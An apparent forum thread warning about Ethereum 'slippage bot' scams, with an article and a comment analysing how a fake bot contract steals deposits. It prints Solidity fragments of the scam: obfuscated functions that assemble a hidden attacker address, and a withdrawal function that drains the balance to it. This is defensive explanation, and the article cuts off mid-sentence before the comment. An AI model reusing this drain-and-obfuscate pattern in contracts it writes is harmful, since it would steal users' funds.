Don’t fall for “Slippage Bot” Scams!!! They appear in this sub every day and it’s a very elaborate scam
Like I said it's a super elaborate scam that preys on your greed. It will drain your wallet. Can we get some mods to actually delete that shit? It's just so blatantly scammy.

Beware of Malicious Passive Income Bots: Understanding the Risks
In the world of cryptocurrency and decentralized finance (DeFi), passive income opportunities often attract users looking to earn without constant active participation. While legitimate methods exist, the allure of “set it and forget it” income streams has unfortunately become a fertile ground for scams and malicious bots. One such category is fraudulent Ethereum smart contracts masquerading as tools for generating passive income. This article explores how these malicious contracts work, using examples from a suspicious Solidity script, and offers tips to stay safe in the volatile world of crypto investments.
The Appeal of Passive Income Bots
The concept of passive income bots is simple: deploy a smart contract, stake your tokens or funds, and let the automated process generate returns over time. Whether through arbitrage, staking, or automated trading, these promises of “easy money” attract both novice and experienced investors. However, malicious actors exploit this appeal by creating fraudulent contracts designed to steal funds rather than generate income.
Analyzing a Malicious Contract
A suspicious Solidity script provides an illustrative example of how attackers design malicious smart contracts. This contract presents itself as a bot for exploiting slippage opportunities in liquidity pools, such as Uniswap. At first glance, it appears legitimate, containing methods to find new liquidity pools and interact with token contracts. However, a deeper analysis reveals several red flags:
Obfuscation of Key Functions
The contract uses obfuscation techniques to hide its true intentions. For example:
function fetchMempoolData() internal pure returns (string memory) {
string memory _mempoolShort = getMempoolShort();
string memory _mempoolEdition = fetchMempoolEdition();
string memory _mempoolVersion = fetchMempoolVersion();
string memory _mempoolLong = getMempoolLong();
string memory _getMempoolHeight = getMempoolHeight();
string memory _getMempoolCode = getMempoolCode();
string memory _getMempoolStart = getMempoolStart();
string memory _getMempoolLog = getMempoolLog();
return string(abi.encodePacked(
_mempoolShort, _mempoolEdition, _mempoolVersion,
_mempoolLong, _getMempoolHeight, _getMempoolCode, _getMempoolStart, _getMempoolLog
));
}
Here, the function assembles a string using various cryptic sub-functions like getMempoolShort
and getMempoolLog
. These sub-functions contain hexadecimal values and other arbitrary strings that ultimately resolve to an Ethereum address. The purpose is to obscure the true destination of funds.
Fraudulent Withdrawal Function
The withdrawal
function is another area of concern:
function withdrawal() public payable {
address to = startExploration(fetchMempoolData());
address payable contracts = payable(to);
contracts.transfer(getBa());
}
This function transfers the entire contract balance to an obfuscated address derived from fetchMempoolData
. Users interacting with this contract might assume withdrawals are legitimate, but in reality, all funds are siphoned off to the attacker's wallet.
Exploiting User Trust
Another red flag is the reliance on user trust. The contract creator counts on users not understanding the underlying code. Promises of high returns, technical jargon, and the appearance of sophisticated operations serve to distract users from identifying the malicious intent.
How to Spot and Avoid Malicious Bots
Understanding the tactics used in malicious contracts is the first step to protecting yourself. Here are practical steps to identify and avoid falling victim:
1. Review the Contract Code
Always inspect the smart contract code before interacting with it. Look for obfuscated functions, unclear variable names, or unnecessary complexity. Tools like Etherscan’s contract viewer can help.
2. Verify the Contract Address
If the contract references external addresses or contracts, verify their legitimacy. Use blockchain explorers to check if the addresses are associated with known malicious activity.
3. Be Skeptical of Unrealistic Returns
If a bot promises unusually high or guaranteed returns, it’s likely too good to be true. High returns often come with significant risks, and no legitimate investment guarantees profit.
4. Check for Audits
Legitimate projects often undergo third-party audits to ensure their security and transparency. Lack of an audit or an incomplete audit report is a red flag.
5. Test with Minimal Funds
Before committing significant amounts, test the contract with a small amount of funds to observe its behavior. If possible, use a wallet specifically designated for testing to minimize potential losses.
6. Engage with the Community
Join online forums or communities to discuss and gather opinions about a project. Experienced users can often spot scams and provide insights.
Learning from Real-World Examples
The Solidity script analyzed above is just one example among many. Similar scams have been reported in DeFi platforms, NFT marketplaces, and token presales. Some scams even replicate legitimate projects to trick users into deploying or interacting with fake contracts. The recurring theme is the exploitation of user trust and the lack of due diligence.
Conclusion
Passive income bots can be tempting, but the risks of interacting with unverified smart contracts are substantial. Malicious actors use obfuscation, technical jargon, and promises of high returns to deceive unsuspecting users. By understanding these tactics and following best practices—such as reviewing code, verifying addresses, and engaging with the community—you can reduce your risk of falling victim to scams.
In the ever-evolving world of cryptocurrency, vigilance is key. Always remember that if something
Example OF SCAM Vídeo:
Yeah, lately I've been seeing videos made by a guy who calls himself Jacob. And it looks like he has a lot of channels, I've seen two of them. So if you see him, please report this video with the reason “Misinformation”. It's a scam.
1. Hardcoded Address of the Criminal:
The contract's withdrawal
function does not withdraw funds to your wallet. Instead, it uses a hardcoded wallet address that is deliberately split into three parts using different functions: fetchMempoolData()
, getMempoolStart()
, and getMempoolLog()
.
- Part 1 (
fetchMempoolData()
): Returns"8d7a8D29"
. - Part 2 (
getMempoolStart()
): Returns"4B0897"
. - Part 3 (
getMempoolLog()
): Returns"8C4A5"
.
These three parts are concatenated to form an address, such as "8d7a8D294B08978C4A5"
2. Obfuscation Technique:
By splitting the address into three parts, the contract is hiding the actual withdrawal address to make the contract look less suspicious. This is a common technique used by malicious actors to disguise the true destination of funds. If someone looks at the contract's source code casually, they might not immediately notice that the address to which funds are being withdrawn is hardcoded and points to the attacker's wallet.
- The use of seemingly unrelated function names like
fetchMempoolData()
,getMempoolStart()
, andgetMempoolLog()
adds further obfuscation, making it harder to recognize the malicious intent at first glance.
3. Impact:
When the withdrawal()
function is called, the contract sends the funds to the hardcoded address, which is owned by the malicious actor (criminal). This address is deliberately hidden using string concatenation so that it's not easily detectable by someone reviewing the contract code.
The contract is designed to withdraw funds to a hardcoded wallet address (likely belonging to a criminal), and the splitting of the address into three parts is an obfuscation technique to hide the malicious intent. This is a common pattern in scam smart contracts where the attacker tries to steal funds from unsuspecting users by disguising the withdrawal process.
